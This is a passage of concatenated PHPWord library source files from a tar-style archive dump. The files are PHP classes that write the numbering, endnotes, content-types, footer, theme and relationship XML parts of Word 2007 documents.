 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Numbering as NumberingStyle;
use PhpOffice\PhpWord\Style\NumberingLevel;

/**
 * Word2007 numbering part writer: word/numbering.xml.
 *
 * @since 0.10.0
 */
class Numbering extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();
        $styles = Style::getStyles();
        $drawingSchema = 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing';

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('w:numbering');
        $xmlWriter->writeAttribute('xmlns:ve', 'http://schemas.openxmlformats.org/markup-compatibility/2006');
        $xmlWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $xmlWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml');
        $xmlWriter->writeAttribute('xmlns:wp', $drawingSchema);
        $xmlWriter->writeAttribute('xmlns:w10', 'urn:schemas-microsoft-com:office:word');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:wne', 'http://schemas.microsoft.com/office/word/2006/wordml');

        // Abstract numbering definitions
        foreach ($styles as $style) {
            if ($style instanceof NumberingStyle) {
                $levels = $style->getLevels();

                $xmlWriter->startElement('w:abstractNum');
                $xmlWriter->writeAttribute('w:abstractNumId', $style->getIndex());

                $xmlWriter->startElement('w:nsid');
                $xmlWriter->writeAttribute('w:val', $this->getRandomHexNumber());
                $xmlWriter->endElement(); // w:nsid

                $xmlWriter->startElement('w:multiLevelType');
                $xmlWriter->writeAttribute('w:val', $style->getType());
                $xmlWriter->endElement(); // w:multiLevelType

                if (is_array($levels)) {
                    foreach ($levels as $level) {
                        $this->writeLevel($xmlWriter, $level);
                    }
                }
                $xmlWriter->endElement(); // w:abstractNum
            }
        }

        // Numbering definition instances
        foreach ($styles as $style) {
            if ($style instanceof NumberingStyle) {
                $xmlWriter->startElement('w:num');
                $xmlWriter->writeAttribute('w:numId', $style->getIndex());
                $xmlWriter->startElement('w:abstractNumId');
                $xmlWriter->writeAttribute('w:val', $style->getIndex());
                $xmlWriter->endElement(); // w:abstractNumId
                $xmlWriter->endElement(); // w:num
            }
        }

        $xmlWriter->endElement(); // w:numbering

        return $xmlWriter->getData();
    }

    /**
     * Write level.
     */
    private function writeLevel(XMLWriter $xmlWriter, NumberingLevel $level): void
    {
        $xmlWriter->startElement('w:lvl');
        $xmlWriter->writeAttribute('w:ilvl', $level->getLevel());

        // Numbering level properties
        $properties = [
            'start' => 'start',
            'format' => 'numFmt',
            'restart' => 'lvlRestart',
            'pStyle' => 'pStyle',
            'suffix' => 'suff',
            'text' => 'lvlText',
            'alignment' => 'lvlJc',
        ];
        foreach ($properties as $property => $nodeName) {
            $getMethod = "get{$property}";
            if ('' !== $level->$getMethod()         // this condition is now supported by `alignment` only
                && null !== $level->$getMethod()) {
                $xmlWriter->startElement("w:{$nodeName}");
                $xmlWriter->writeAttribute('w:val', $level->$getMethod());
                $xmlWriter->endElement(); // w:start
            }
        }

        // Paragraph & font styles
        $this->writeParagraph($xmlWriter, $level);
        $this->writeFont($xmlWriter, $level);

        $xmlWriter->endElement(); // w:lvl
    }

    /**
     * Write level paragraph.
     *
     * @since 0.11.0
     *
     * @todo Use paragraph style writer
     */
    private function writeParagraph(XMLWriter $xmlWriter, NumberingLevel $level): void
    {
        $tabPos = $level->getTabPos();
        $left = $level->getLeft();
        $hanging = $level->getHanging();

        $xmlWriter->startElement('w:pPr');

        $xmlWriter->startElement('w:tabs');
        $xmlWriter->startElement('w:tab');
        $xmlWriter->writeAttribute('w:val', 'num');
        $xmlWriter->writeAttributeIf($tabPos !== null, 'w:pos', $tabPos);
        $xmlWriter->endElement(); // w:tab
        $xmlWriter->endElement(); // w:tabs

        $xmlWriter->startElement('w:ind');
        $xmlWriter->writeAttributeIf($left !== null, 'w:left', $left);
        $xmlWriter->writeAttributeIf($hanging !== null, 'w:hanging', $hanging);
        $xmlWriter->endElement(); // w:ind

        $xmlWriter->endElement(); // w:pPr
    }

    /**
     * Write level font.
     *
     * @since 0.11.0
     *
     * @todo Use font style writer
     */
    private function writeFont(XMLWriter $xmlWriter, NumberingLevel $level): void
    {
        $font = $level->getFont();
        $hint = $level->getHint();

        $xmlWriter->startElement('w:rPr');
        $xmlWriter->startElement('w:rFonts');
        $xmlWriter->writeAttributeIf($font !== null, 'w:ascii', $font);
        $xmlWriter->writeAttributeIf($font !== null, 'w:hAnsi', $font);
        $xmlWriter->writeAttributeIf($font !== null, 'w:cs', $font);
        $xmlWriter->writeAttributeIf($hint !== null, 'w:hint', $hint);
        $xmlWriter->endElement(); // w:rFonts
        $xmlWriter->endElement(); // w:rPr
    }

    /**
     * Get random hexadecimal number value.
     *
     * @param int $length
     *
     * @return string
     */
    private function getRandomHexNumber($length = 8)
    {
        return strtoupper(substr(md5(mt_rand()), 0, $length));
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Endnotes.php000066600000002347151150442730021553 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 endnotes part writer: word/endnotes.xml.
 */
class Endnotes extends Footnotes
{
    /**
     * Name of XML root element.
     *
     * @var string
     */
    protected $rootNode = 'w:endnotes';

    /**
     * Name of XML node element.
     *
     * @var string
     */
    protected $elementNode = 'w:endnote';

    /**
     * Name of XML reference element.
     *
     * @var string
     */
    protected $refNode = 'w:endnoteRef';

    /**
     * Reference style name.
     *
     * @var string
     */
    protected $refStyle = 'EndnoteReference';
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/ContentTypes.php000066600000007327151150442730022436 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Word2007 contenttypes part writer: [Content_Types].xml.
 */
class ContentTypes extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        /** @var \PhpOffice\PhpWord\Writer\Word2007 $parentWriter Type hint */
        $parentWriter = $this->getParentWriter();
        $contentTypes = $parentWriter->getContentTypes();

        $openXMLPrefix = 'application/vnd.openxmlformats-';
        $wordMLPrefix = $openXMLPrefix . 'officedocument.wordprocessingml.';
        $drawingMLPrefix = $openXMLPrefix . 'officedocument.drawingml.';
        $overrides = [
            '/docProps/core.xml' => $openXMLPrefix . 'package.core-properties+xml',
            '/docProps/app.xml' => $openXMLPrefix . 'officedocument.extended-properties+xml',
            '/docProps/custom.xml' => $openXMLPrefix . 'officedocument.custom-properties+xml',
            '/word/document.xml' => $wordMLPrefix . 'document.main+xml',
            '/word/styles.xml' => $wordMLPrefix . 'styles+xml',
            '/word/numbering.xml' => $wordMLPrefix . 'numbering+xml',
            '/word/settings.xml' => $wordMLPrefix . 'settings+xml',
            '/word/theme/theme1.xml' => $openXMLPrefix . 'officedocument.theme+xml',
            '/word/webSettings.xml' => $wordMLPrefix . 'webSettings+xml',
            '/word/fontTable.xml' => $wordMLPrefix . 'fontTable+xml',
            '/word/comments.xml' => $wordMLPrefix . 'comments+xml',
        ];

        $defaults = $contentTypes['default'];
        if (!empty($contentTypes['override'])) {
            foreach ($contentTypes['override'] as $key => $val) {
                if ($val == 'chart') {
                    $overrides[$key] = $drawingMLPrefix . $val . '+xml';
                } else {
                    $overrides[$key] = $wordMLPrefix . $val . '+xml';
                }
            }
        }

        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('Types');
        $xmlWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/content-types');

        $this->writeContentType($xmlWriter, $defaults, true);
        $this->writeContentType($xmlWriter, $overrides, false);

        $xmlWriter->endElement(); // Types

        return $xmlWriter->getData();
    }

    /**
     * Write content types element.
     *
     * @param \PhpOffice\PhpWord\Shared\XMLWriter $xmlWriter XML Writer
     * @param array $parts
     * @param bool $isDefault
     */
    private function writeContentType(XMLWriter $xmlWriter, $parts, $isDefault): void
    {
        foreach ($parts as $partName => $contentType) {
            $partType = $isDefault ? 'Default' : 'Override';
            $partAttribute = $isDefault ? 'Extension' : 'PartName';
            $xmlWriter->startElement($partType);
            $xmlWriter->writeAttribute($partAttribute, $partName);
            $xmlWriter->writeAttribute('ContentType', $contentType);
            $xmlWriter->endElement();
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Footer.php000066600000005354151150442730021233 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Writer\Word2007\Element\Container;

/**
 * Word2007 footer part writer: word/footerx.xml.
 */
class Footer extends AbstractPart
{
    /**
     * Root element name.
     *
     * @var string
     */
    protected $rootElement = 'w:ftr';

    /**
     * Footer/header element to be written.
     *
     * @var \PhpOffice\PhpWord\Element\Footer
     */
    protected $element;

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();
        $drawingSchema = 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing';

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement($this->rootElement);
        $xmlWriter->writeAttribute('xmlns:ve', 'http://schemas.openxmlformats.org/markup-compatibility/2006');
        $xmlWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $xmlWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml');
        $xmlWriter->writeAttribute('xmlns:wp', $drawingSchema);
        $xmlWriter->writeAttribute('xmlns:w10', 'urn:schemas-microsoft-com:office:word');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:wne', 'http://schemas.microsoft.com/office/word/2006/wordml');

        $containerWriter = new Container($xmlWriter, $this->element);
        $containerWriter->write();

        $xmlWriter->endElement(); // $this->rootElement

        return $xmlWriter->getData();
    }

    /**
     * Set element.
     *
     * @param \PhpOffice\PhpWord\Element\Footer|\PhpOffice\PhpWord\Element\Header $element
     *
     * @return self
     */
    public function setElement($element)
    {
        $this->element = $element;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Theme.php000066600000035574151150442730021046 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 theme writer: word/theme/theme1.xml.
 *
 * @todo Generate content dynamically
 *
 * @since 0.10.0
 */
class Theme extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $str = '';

        $str .= '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
        $str .= '<a:theme xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" name="Office Theme">';
        $str .= '<a:themeElements>';
        $str .= $this->writeColorScheme();
        $str .= $this->writeFontScheme();
        $str .= $this->writeFormatScheme();
        $str .= '</a:themeElements>';
        $str .= '<a:objectDefaults />';
        $str .= '<a:extraClrSchemeLst />';
        $str .= '</a:theme>';

        return $str;
    }

    /**
     * Write color scheme.
     *
     * @return string
     */
    private function writeColorScheme()
    {
        $str = '';

        $str .= '<a:clrScheme name="Office">';
        $str .= '<a:dk1>';
        $str .= '<a:sysClr val="windowText" lastClr="000000" />';
        $str .= '</a:dk1>';
        $str .= '<a:lt1>';
        $str .= '<a:sysClr val="window" lastClr="FFFFFF" />';
        $str .= '</a:lt1>';
        $str .= '<a:dk2>';
        $str .= '<a:srgbClr val="1F497D" />';
        $str .= '</a:dk2>';
        $str .= '<a:lt2>';
        $str .= '<a:srgbClr val="EEECE1" />';
        $str .= '</a:lt2>';
        $str .= '<a:accent1>';
        $str .= '<a:srgbClr val="4F81BD" />';
        $str .= '</a:accent1>';
        $str .= '<a:accent2>';
        $str .= '<a:srgbClr val="C0504D" />';
        $str .= '</a:accent2>';
        $str .= '<a:accent3>';
        $str .= '<a:srgbClr val="9BBB59" />';
        $str .= '</a:accent3>';
        $str .= '<a:accent4>';
        $str .= '<a:srgbClr val="8064A2" />';
        $str .= '</a:accent4>';
        $str .= '<a:accent5>';
        $str .= '<a:srgbClr val="4BACC6" />';
        $str .= '</a:accent5>';
        $str .= '<a:accent6>';
        $str .= '<a:srgbClr val="F79646" />';
        $str .= '</a:accent6>';
        $str .= '<a:hlink>';
        $str .= '<a:srgbClr val="0000FF" />';
        $str .= '</a:hlink>';
        $str .= '<a:folHlink>';
        $str .= '<a:srgbClr val="800080" />';
        $str .= '</a:folHlink>';
        $str .= '</a:clrScheme>';

        return $str;
    }

    /**
     * Write font scheme.
     *
     * @return string
     */
    private function writeFontScheme()
    {
        $str = '';

        $str .= '<a:fontScheme name="Office">';

        $str .= '<a:majorFont>';
        $str .= '<a:latin typeface="Cambria" />';
        $str .= '<a:ea typeface="" />';
        $str .= '<a:cs typeface="" />';
        $str .= '<a:font script="Jpan" typeface="MS ゴシック" />';
        $str .= '<a:font script="Hang" typeface="맑은 고딕" />';
        $str .= '<a:font script="Hans" typeface="宋体" />';
        $str .= '<a:font script="Hant" typeface="新細明體" />';
        $str .= '<a:font script="Arab" typeface="Times New Roman" />';
        $str .= '<a:font script="Hebr" typeface="Times New Roman" />';
        $str .= '<a:font script="Thai" typeface="Angsana New" />';
        $str .= '<a:font script="Ethi" typeface="Nyala" />';
        $str .= '<a:font script="Beng" typeface="Vrinda" />';
        $str .= '<a:font script="Gujr" typeface="Shruti" />';
        $str .= '<a:font script="Khmr" typeface="MoolBoran" />';
        $str .= '<a:font script="Knda" typeface="Tunga" />';
        $str .= '<a:font script="Guru" typeface="Raavi" />';
        $str .= '<a:font script="Cans" typeface="Euphemia" />';
        $str .= '<a:font script="Cher" typeface="Plantagenet Cherokee" />';
        $str .= '<a:font script="Yiii" typeface="Microsoft Yi Baiti" />';
        $str .= '<a:font script="Tibt" typeface="Microsoft Himalaya" />';
        $str .= '<a:font script="Thaa" typeface="MV Boli" />';
        $str .= '<a:font script="Deva" typeface="Mangal" />';
        $str .= '<a:font script="Telu" typeface="Gautami" />';
        $str .= '<a:font script="Taml" typeface="Latha" />';
        $str .= '<a:font script="Syrc" typeface="Estrangelo Edessa" />';
        $str .= '<a:font script="Orya" typeface="Kalinga" />';
        $str .= '<a:font script="Mlym" typeface="Kartika" />';
        $str .= '<a:font script="Laoo" typeface="DokChampa" />';
        $str .= '<a:font script="Sinh" typeface="Iskoola Pota" />';
        $str .= '<a:font script="Mong" typeface="Mongolian Baiti" />';
        $str .= '<a:font script="Viet" typeface="Times New Roman" />';
        $str .= '<a:font script="Uigh" typeface="Microsoft Uighur" />';
        $str .= '</a:majorFont>';

        $str .= '<a:minorFont>';
        $str .= '<a:latin typeface="Calibri" />';
        $str .= '<a:ea typeface="" />';
        $str .= '<a:cs typeface="" />';
        $str .= '<a:font script="Jpan" typeface="MS 明朝" />';
        $str .= '<a:font script="Hang" typeface="맑은 고딕" />';
        $str .= '<a:font script="Hans" typeface="宋体" />';
        $str .= '<a:font script="Hant" typeface="新細明體" />';
        $str .= '<a:font script="Arab" typeface="Arial" />';
        $str .= '<a:font script="Hebr" typeface="Arial" />';
        $str .= '<a:font script="Thai" typeface="Cordia New" />';
        $str .= '<a:font script="Ethi" typeface="Nyala" />';
        $str .= '<a:font script="Beng" typeface="Vrinda" />';
        $str .= '<a:font script="Gujr" typeface="Shruti" />';
        $str .= '<a:font script="Khmr" typeface="DaunPenh" />';
        $str .= '<a:font script="Knda" typeface="Tunga" />';
        $str .= '<a:font script="Guru" typeface="Raavi" />';
        $str .= '<a:font script="Cans" typeface="Euphemia" />';
        $str .= '<a:font script="Cher" typeface="Plantagenet Cherokee" />';
        $str .= '<a:font script="Yiii" typeface="Microsoft Yi Baiti" />';
        $str .= '<a:font script="Tibt" typeface="Microsoft Himalaya" />';
        $str .= '<a:font script="Thaa" typeface="MV Boli" />';
        $str .= '<a:font script="Deva" typeface="Mangal" />';
        $str .= '<a:font script="Telu" typeface="Gautami" />';
        $str .= '<a:font script="Taml" typeface="Latha" />';
        $str .= '<a:font script="Syrc" typeface="Estrangelo Edessa" />';
        $str .= '<a:font script="Orya" typeface="Kalinga" />';
        $str .= '<a:font script="Mlym" typeface="Kartika" />';
        $str .= '<a:font script="Laoo" typeface="DokChampa" />';
        $str .= '<a:font script="Sinh" typeface="Iskoola Pota" />';
        $str .= '<a:font script="Mong" typeface="Mongolian Baiti" />';
        $str .= '<a:font script="Viet" typeface="Arial" />';
        $str .= '<a:font script="Uigh" typeface="Microsoft Uighur" />';
        $str .= '</a:minorFont>';

        $str .= '</a:fontScheme>';

        return $str;
    }

    /**
     * Write format scheme.
     *
     * @return string
     */
    private function writeFormatScheme()
    {
        $str = '';

        $str .= '<a:fmtScheme name="Office">';
        $str .= $this->writeFormatFill();
        $str .= $this->writeFormatLine();
        $str .= $this->writeFormatEffect();
        $str .= $this->writeFormatBackground();
        $str .= '</a:fmtScheme>';

        return $str;
    }

    /**
     * Write fill format scheme.
     *
     * @return string
     */
    private function writeFormatFill()
    {
        $str = '';

        $str .= '<a:fillStyleLst>';
        $str .= '<a:solidFill>';
        $str .= '<a:schemeClr val="phClr" />';
        $str .= '</a:solidFill>';
        $str .= '<a:gradFill rotWithShape="1">';
        $str .= '<a:gsLst>';
        $str .= '<a:gs pos="0">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:tint val="50000" />';
        $str .= '<a:satMod val="300000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="35000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:tint val="37000" />';
        $str .= '<a:satMod val="300000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="100000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:tint val="15000" />';
        $str .= '<a:satMod val="350000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '</a:gsLst>';
        $str .= '<a:lin ang="16200000" scaled="1" />';
        $str .= '</a:gradFill>';
        $str .= '<a:gradFill rotWithShape="1">';
        $str .= '<a:gsLst>';
        $str .= '<a:gs pos="0">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:shade val="51000" />';
        $str .= '<a:satMod val="130000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="80000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:shade val="93000" />';
        $str .= '<a:satMod val="130000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="100000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:shade val="94000" />';
        $str .= '<a:satMod val="135000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '</a:gsLst>';
        $str .= '<a:lin ang="16200000" scaled="0" />';
        $str .= '</a:gradFill>';
        $str .= '</a:fillStyleLst>';

        return $str;
    }

    /**
     * Write line format scheme.
     *
     * @return string
     */
    private function writeFormatLine()
    {
        $str = '';

        $str .= '<a:lnStyleLst>';
        $str .= '<a:ln w="9525" cap="flat" cmpd="sng" algn="ctr">';
        $str .= '<a:solidFill>';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:shade val="95000" />';
        $str .= '<a:satMod val="105000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:solidFill>';
        $str .= '<a:prstDash val="solid" />';
        $str .= '</a:ln>';
        $str .= '<a:ln w="25400" cap="flat" cmpd="sng" algn="ctr">';
        $str .= '<a:solidFill>';
        $str .= '<a:schemeClr val="phClr" />';
        $str .= '</a:solidFill>';
        $str .= '<a:prstDash val="solid" />';
        $str .= '</a:ln>';
        $str .= '<a:ln w="38100" cap="flat" cmpd="sng" algn="ctr">';
        $str .= '<a:solidFill>';
        $str .= '<a:schemeClr val="phClr" />';
        $str .= '</a:solidFill>';
        $str .= '<a:prstDash val="solid" />';
        $str .= '</a:ln>';
        $str .= '</a:lnStyleLst>';

        return $str;
    }

    /**
     * Write effect format scheme.
     *
     * @return string
     */
    private function writeFormatEffect()
    {
        $str = '';

        $str .= '<a:effectStyleLst>';
        $str .= '<a:effectStyle>';
        $str .= '<a:effectLst>';
        $str .= '<a:outerShdw blurRad="40000" dist="20000" dir="5400000" rotWithShape="0">';
        $str .= '<a:srgbClr val="000000">';
        $str .= '<a:alpha val="38000" />';
        $str .= '</a:srgbClr>';
        $str .= '</a:outerShdw>';
        $str .= '</a:effectLst>';
        $str .= '</a:effectStyle>';
        $str .= '<a:effectStyle>';
        $str .= '<a:effectLst>';
        $str .= '<a:outerShdw blurRad="40000" dist="23000" dir="5400000" rotWithShape="0">';
        $str .= '<a:srgbClr val="000000">';
        $str .= '<a:alpha val="35000" />';
        $str .= '</a:srgbClr>';
        $str .= '</a:outerShdw>';
        $str .= '</a:effectLst>';
        $str .= '</a:effectStyle>';
        $str .= '<a:effectStyle>';
        $str .= '<a:effectLst>';
        $str .= '<a:outerShdw blurRad="40000" dist="23000" dir="5400000" rotWithShape="0">';
        $str .= '<a:srgbClr val="000000">';
        $str .= '<a:alpha val="35000" />';
        $str .= '</a:srgbClr>';
        $str .= '</a:outerShdw>';
        $str .= '</a:effectLst>';
        $str .= '<a:scene3d>';
        $str .= '<a:camera prst="orthographicFront">';
        $str .= '<a:rot lat="0" lon="0" rev="0" />';
        $str .= '</a:camera>';
        $str .= '<a:lightRig rig="threePt" dir="t">';
        $str .= '<a:rot lat="0" lon="0" rev="1200000" />';
        $str .= '</a:lightRig>';
        $str .= '</a:scene3d>';
        $str .= '<a:sp3d>';
        $str .= '<a:bevelT w="63500" h="25400" />';
        $str .= '</a:sp3d>';
        $str .= '</a:effectStyle>';
        $str .= '</a:effectStyleLst>';

        return $str;
    }

    /**
     * Write background format scheme.
     *
     * @return string
     */
    private function writeFormatBackground()
    {
        $str = '';

        $str .= '<a:bgFillStyleLst>';
        $str .= '<a:solidFill>';
        $str .= '<a:schemeClr val="phClr" />';
        $str .= '</a:solidFill>';
        $str .= '<a:gradFill rotWithShape="1">';
        $str .= '<a:gsLst>';
        $str .= '<a:gs pos="0">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:tint val="40000" />';
        $str .= '<a:satMod val="350000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="40000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:tint val="45000" />';
        $str .= '<a:shade val="99000" />';
        $str .= '<a:satMod val="350000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="100000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:shade val="20000" />';
        $str .= '<a:satMod val="255000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '</a:gsLst>';
        $str .= '<a:path path="circle">';
        $str .= '<a:fillToRect l="50000" t="-80000" r="50000" b="180000" />';
        $str .= '</a:path>';
        $str .= '</a:gradFill>';
        $str .= '<a:gradFill rotWithShape="1">';
        $str .= '<a:gsLst>';
        $str .= '<a:gs pos="0">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:tint val="80000" />';
        $str .= '<a:satMod val="300000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '<a:gs pos="100000">';
        $str .= '<a:schemeClr val="phClr">';
        $str .= '<a:shade val="30000" />';
        $str .= '<a:satMod val="200000" />';
        $str .= '</a:schemeClr>';
        $str .= '</a:gs>';
        $str .= '</a:gsLst>';
        $str .= '<a:path path="circle">';
        $str .= '<a:fillToRect l="50000" t="50000" r="50000" b="50000" />';
        $str .= '</a:path>';
        $str .= '</a:gradFill>';
        $str .= '</a:bgFillStyleLst>';

        return $str;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/RelsDocument.php000066600000003263151150442730022376 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

/**
 * Word2007 document relationship writer: word/_rels/document.xml.rels.
 *
 * @since 0.11.0
 */
class RelsDocument extends Rels
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlRels = [
            'styles.xml' => 'officeDocument/2006/relationships/styles',
            'numbering.xml' => 'officeDocument/2006/relationships/numbering',
            'settings.xml' => 'officeDocument/2006/relationships/settings',
            'theme/theme1.xml' => 'officeDocument/2006/relationships/theme',
            'webSettings.xml' => 'officeDocument/2006/relationships/webSettings',
            'fontTable.xml' => 'officeDocument/2006/relationships/fontTable',
        ];
        $xmlWriter = $this->getXmlWriter();

        /** @var \PhpOffice\PhpWord\Writer\Word2007 $parentWriter Type hint */
        $parentWriter = $this->getParentWriter();
        $this->writeRels($xmlWriter, $xmlRels, $parentWriter->getRelationships());

        return $xmlWriter->getData();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Rels.php000066600000010273151150442730020676 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Word2007 main relationship writer: _rels/.rels.
 *
 * @since 0.10.0
 */
class Rels extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlRels = [
            'docProps/core.xml' => 'package/2006/relationships/metadata/core-properties',
            'docProps/app.xml' => 'officeDocument/2006/relationships/extended-properties',
            'docProps/custom.xml' => 'officeDocument/2006/relationships/custom-properties',
            'word/document.xml' => 'officeDocument/2006/relationships/officeDocument',
        ];
        $xmlWriter = $this->getXmlWriter();
        $this->writeRels($xmlWriter, $xmlRels);

        return $xmlWriter->getData();
    }

    /**
     * Write relationships.
     *
     * @param array $xmlRels
     * @param array $mediaRels
     * @param int $relId
     */
    protected function writeRels(XMLWriter $xmlWriter, $xmlRels = [], $mediaRels = [], $relId = 1): void
    {
        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('Relationships');
        $xmlWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/package/2006/relationships');

